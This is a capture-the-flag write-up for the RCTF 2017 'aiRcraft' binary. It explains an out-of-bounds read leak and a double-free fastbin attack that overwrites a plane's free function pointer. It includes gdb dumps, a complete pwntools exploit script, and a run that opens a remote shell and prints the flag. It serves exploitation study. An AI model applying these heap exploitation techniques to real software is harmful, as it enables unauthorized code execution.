Points: 606 Solves: 14 Category: Exploitation

aiRcraft

libc.so.6

aiRcraft: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8597b2bb97a5f0ffd55603a10b55629eabebfa6, stripped
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Vulnerability

This program allows us to build planes, which we can name, as well as build airports, which we can also name and list information about. We can fly planes to different airports and also sell different planes and airports which frees them. The planes are allocated on the heap and maintained in a doubly-linked list, the head of which, is a global in the .BSS. Similarly, the airports are also allocated on the heap and a maintained in an global array of pointers.

There are many different vulnerabilities in this program.

Firstly, there is a out-of-bounds read vulnerability which allows us to leak a libc and heap pointer.

In the following diassembly, choice_ is an index that we get to specify that has no checks performed on it.

.text:0000555555554C91                 mov     eax, [rbp+choice_]
.text:0000555555554C94 sub eax, 1
.text:0000555555554C97 cdqe
.text:0000555555554C99 lea rdx, ds:0[rax*8]
.text:0000555555554CA1 lea rax, companies
.text:0000555555554CA8 mov rdx, [rdx+rax]
.text:0000555555554CAC mov rax, [rbp+chunk]
.text:0000555555554CB0 mov [rax+plane.companyPtr], rdx
.text:0000555555554CB4 lea rdi, aInputThePlaneS ; "Input the plane's name: "

companies is a global array that contains 4 pointers, each pointing to a different string. Eventually, we can print out the contents of whatever pointer is associated with the choice_ index into this array that we specify. But as we can see, there is nothing preventing us from specifying an index greater than 4.

We can simply free a couple airports to get a libc pointer and heap pointer into some heap chunks, and then specify 14 and 15 as our indices for 2 planes that we fly to an airport.

Then we just list the information for all the planes in that airport to get our leaks

gdb-peda$ x/32xg 0x555555756020
0x555555756020: 0x00005555555555d8 0x00005555555555df <-- start of companies array
0x555555756030: 0x00005555555555e6 0x00005555555555ef
0x555555756040 <stdout>: 0x00007ffff7dd2620 0x0000000000000000
0x555555756050 <stdin>: 0x00007ffff7dd18e0 0x0000000000000000
0x555555756060 <stderr>: 0x00007ffff7dd2540 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000555555757010 0x0000555555757130 <-- start of airports array
0x555555756090: 0x0000555555757250 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x0000000000000000
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
0x555555756100: 0x0000000000000000 0x0000000000000000
0x555555756110: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/xg 0x0000555555757130
0x555555757130: 0x00007ffff7dd1bf8 <-- libc addr
gdb-peda$ x/xg 0x0000555555757250
0x555555757250: 0x00005555557572e0 <-- heap addr

Additionally, there is a double-free vulnerability as well as a use-after-free (UAF) vulnerability.

We can use these vulnerabilities to perform a fast-bin attack. However, instead of overwriting a *_hook functions, as I’ve done in the past, we will instead, overwrite a specialFree function pointer that is just a wrapper around free() that is called whenever a plane is directly sold.

The struct for a plane object looks something like the following.

struct plane {
char name[32];
char *company;
airport *aport;
plane *prevPlane;
plane *nextPlane;
void (*specialFree)(plane);
}

We can see the function pointer we want to overwrite at offset +0x40 into the plane object.

Our target plane fast chunk looks like the following.

gdb-peda$ x/32xg 0x562c639bd120
0x562c639bd120: 0x0000000000000000 0x0000000000000051
0x562c639bd130: 0x0000562c639b0047 0x00007fcf455bbb00
0x562c639bd140: 0x0000000000000000 0x0000000000000000
0x562c639bd150: 0x0000562c621be5ef 0x0000000000000000
0x562c639bd160: 0x0000562c639bd010 0x0000000000000000
0x562c639bd170: 0x0000562c621bdb7d 0x0000000000000041 <-- target fnc ptr

We can again use a misaligned address as our target fake chunk for our fastbin attack, since malloc() does not check to see that the requested chunk is aligned.

Only realloc() and free() perform alignment checks!

gdb-peda$ x/32xg 0x562c639bd170-0x30+0xd
0x562c639bd14d: 0x2c621be5ef000000 0x0000000000000056
0x562c639bd15d: 0x2c639bd010000000 0x0000000000000056
0x562c639bd16d: 0x2c621bdb7d000000 0x0000000041000056
0x562c639bd17d: 0xcf455bbb78000000 0x2c639bd24000007f

One catch is that in order for us to be able to use this fake chunk to satisfy a malloc() request, the size field has to be 0x56 and not 0x55.

This is due to an extra check that is performed if the IS_MMAPED bit is turned off.

What we don’t want to do, is end up here:

   0x7ffff7a91613 <__GI___libc_malloc+147>: mov    rax,QWORD PTR [rdx-0x8]
0x7ffff7a91617 <__GI___libc_malloc+151>: test al,0x2 <--- checks `IS_MMAPED` bit
0x7ffff7a91619 <__GI___libc_malloc+153>: jne 0x7ffff7a9163c <__GI___libc_malloc+188>
0x7ffff7a9161b <__GI___libc_malloc+155>: test al,0x4
0x7ffff7a9161d <__GI___libc_malloc+157>: lea rcx,[rip+0x3404fc] # 0x7ffff7dd1b20 <main_arena>
0x7ffff7a91624 <__GI___libc_malloc+164>: je 0x7ffff7a91633 <__GI___libc_malloc+179>
0x7ffff7a91626 <__GI___libc_malloc+166>: lea rax,[rdx-0x10]
0x7ffff7a9162a <__GI___libc_malloc+170>: and rax,0xfffffffffc000000
=> 0x7ffff7a91630 <__GI___libc_malloc+176>: mov rcx,QWORD PTR [rax] <--- crashes!
0x7ffff7a91633 <__GI___libc_malloc+179>: cmp rcx,rbx
0x7ffff7a91636 <__GI___libc_malloc+182>: jne 0x7ffff7a916ff <__GI___libc_malloc+383>
0x7ffff7a9163c <__GI___libc_malloc+188>: mov rax,rdx
0x7ffff7a9163f <__GI___libc_malloc+191>: add rsp,0x8

If our fake size is 0x55, this causes a crash. A SIGGEV access violation occurs @ the mov rcx,QWORD PTR [rax] instruction on line 0x7ffff7a91630 because 0x55 AND 0x2 = 0x0 whereas 0x56 AND 0x2 = 0x2.

The former causes the conditional jmp @ 0x7ffff7a91619 to not be taken, eventually leading us to 0x7ffff7a91630.

So, long story short, our exploit only works when the heap base address starts with 0x56 and not 0x55.

After overwriting the specialFree function pointer, with a magic one-gadget RCE address, we simply sell the plane with the corrupted function pointer to get a shell.

Putting everything together, we can get the flag using the following exploit.

Exploit

#!/usr/bin/env python

from pwn import *
import sys

def addAirport(length, name):
r.sendlineafter("choice: ","2")
r.sendlineafter("name?", str(length))
r.sendlineafter("name:", name)

def addPlane(company, name):
r.sendlineafter("choice: ","1")
r.sendlineafter("choice: ", str(company))
r.sendlineafter("name: ", name)

def sellAirport(idx):
r.sendlineafter("choice: ","3")
r.sendlineafter("choose?",str(idx))
r.sendlineafter("choice: ","2")

def flyPlane(plane, airport):
r.sendlineafter("choice: ","4")
r.sendlineafter("choose?",plane)
r.sendlineafter("choice: ","1")
r.sendlineafter("fly? ",str(airport))
r.sendlineafter("choice: ", "3") # exit

def listPlanes(airport):
r.sendlineafter("choice: ","3")
r.sendlineafter("choose? ",str(airport))
r.sendlineafter("choice: ", "1") # list
leak = r.recvuntil("Exit")
r.sendlineafter("choice: ", "3") # exit
return leak

def sellPlane(plane):
r.sendlineafter("choice: ","4")
r.sendlineafter("choose?", plane)
r.sendlineafter("choice: ","2") # sell

def exploit(r):
libc = ELF("./libc.so.6")

## LEAK LIBC ##
addAirport(0x80,"A")
addAirport(0x80,"B")
addAirport(0x80,"C")
sellAirport(0)
sellAirport(1)
addPlane(14,"D")
flyPlane("D",2)
libc_base = u64(listPlanes(2).split("by ")[1][0:6].ljust(8,'\0'))-0x3c3bf8
one_gadget = libc_base+0xf0567
log.success("libc base found at: "+hex(libc_base))
log.success("one_gadget found at: "+hex(one_gadget))

## LEAK HEAP ##
addPlane(15,"E")
flyPlane("E",2)
heap_base = u64(listPlanes(2).split("by ")[2][0:6].ljust(8,'\0'))-0x2e0
heap_target = heap_base+0x170 # fnc ptr for plane G
if heap_target < 0x560000000000 or heap_base < 0x560000000000:
log.failure("heap addr needs to start with 0x56! try again.")
sys.exit(1)
log.success("heap base found at: "+hex(heap_base))
log.success("target func ptr found at: "+hex(heap_target))

## FASTBIN ATTACK ##
log.info("starting fastbin attack...")
sellPlane("D")
sellPlane("E")
sellAirport(2)
addPlane(4, p64(heap_target-0x30+0xd))
addPlane(4, "F")
addPlane(4, "G")
# pause()

payload = "A"*3
payload += p64(heap_base+0x10) # keep original prev plane ptr to avoid crash
payload += p64(0x0)
payload += p64(one_gadget) # overwrite free fnc ptr
addAirport(0x48, payload)

## TRIGGER FNC POINTER ##
log.info("triggering corrupted func ptr...")
sellPlane("G")

r.interactive()

if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['/home/vagrant/CTFs/rctf17/aircraft/aiRcraft'], env={"LD_PRELOAD":"./libc.so.6"})
#r = process(['/home/vagrant/CTFs/rctf17/aircraft/aiRcraft'], env={"LD_PRELOAD":""})
print util.proc.pidof(r)
pause()
exploit(r)
➜  aircraft python solve.py aircraft.2017.teamrois.cn 9731
[*] For remote: solve.py HOST PORT
[+] Opening connection to aircraft.2017.teamrois.cn on port 9731: Done
[*] '/home/vagrant/CTFs/rctf17/aircraft/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc base found at: 0x7f25c6703000
[+] one_gadget found at: 0x7f25c67f3567
[+] heap base found at: 0x56143527c000
[+] target func ptr found at: 0x56143527c170
[*] starting fastbin attack...
[*] triggering corrupted func ptr...
[*] Switching to interactive mode
$ ls
aiRcraft
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{H4v3_4_g00d_tr1p_w1th_lul}
$